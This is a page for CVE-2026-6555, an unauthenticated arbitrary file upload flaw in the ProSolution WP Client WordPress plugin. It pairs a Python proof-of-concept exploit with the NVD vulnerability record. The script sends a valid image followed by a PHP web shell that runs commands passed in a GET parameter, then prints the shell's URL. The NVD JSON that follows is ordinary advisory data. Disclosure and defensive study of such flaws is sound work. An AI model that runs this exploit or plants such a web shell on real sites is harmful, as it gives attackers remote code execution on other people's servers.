CVE-2026-6555

import requests # Target configuration target_url = "http://example.com/wp-content/plugins/prosolution-wp-client/public/upload.php" shell_name = "shell.php" # Prepare payload: Valid file first, malicious file second files = { # The first file (index 0) is often validated 'files[0]': ('image.jpg', open('valid_image.jpg', 'rb'), 'image/jpeg'), # The second file (index 1) is the malicious payload 'files[1]': (shell_name, '<?php system($_GET["cmd"]); ?>', 'application/x-php') } data = { 'action': 'prosolwpclient_upload_action' # Example action name, adjust based on actual plugin implementation } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print(f"[+] Upload successful! Check shell at: {target_url.rsplit('/', 1)[0]}/{shell_name}") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-6555", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:38.930", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ProSolution WP Client plugin for WordPress is vulnerable to Arbitrary File Upload in versions up to, and including, 2.0.0. This is due to an array validation mismatch where only the first file in the upload array undergoes extension and MIME type validation, while all files are processed and uploaded to a web-accessible directory. This makes it possible for unauthenticated attackers to upload malicious PHP files and achieve remote code execution by sending a valid first file followed by a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/prosolution-wp-client/tags/2.0.0/includes/UploadHandler.php#L1345", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/prosolution-wp-client/tags/2.0.0/includes/UploadHandler.php#L384", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/prosolution-wp-client/tags/2.0.0/public/class-prosolwpclient-public.php#L1072", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/prosolution-wp-client/tags/2.0.0/public/class-prosolwpclient-public.php#L998", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/prosolution-wp-client/trunk/includes/UploadHandler.php#L1345", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/prosolution-wp-client/trunk/includes/UploadHandler.php#L384", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/prosolution-wp-client/trunk/public/class-prosolwpclient-public.php#L1072", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/prosolution-wp-client/trunk/public/class-prosolwpclient-public.php#L998", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b870d35-7e10-4fb5-8c3b-2bf299d1f3d5?source=cve", "source": "[email protected]"}]}}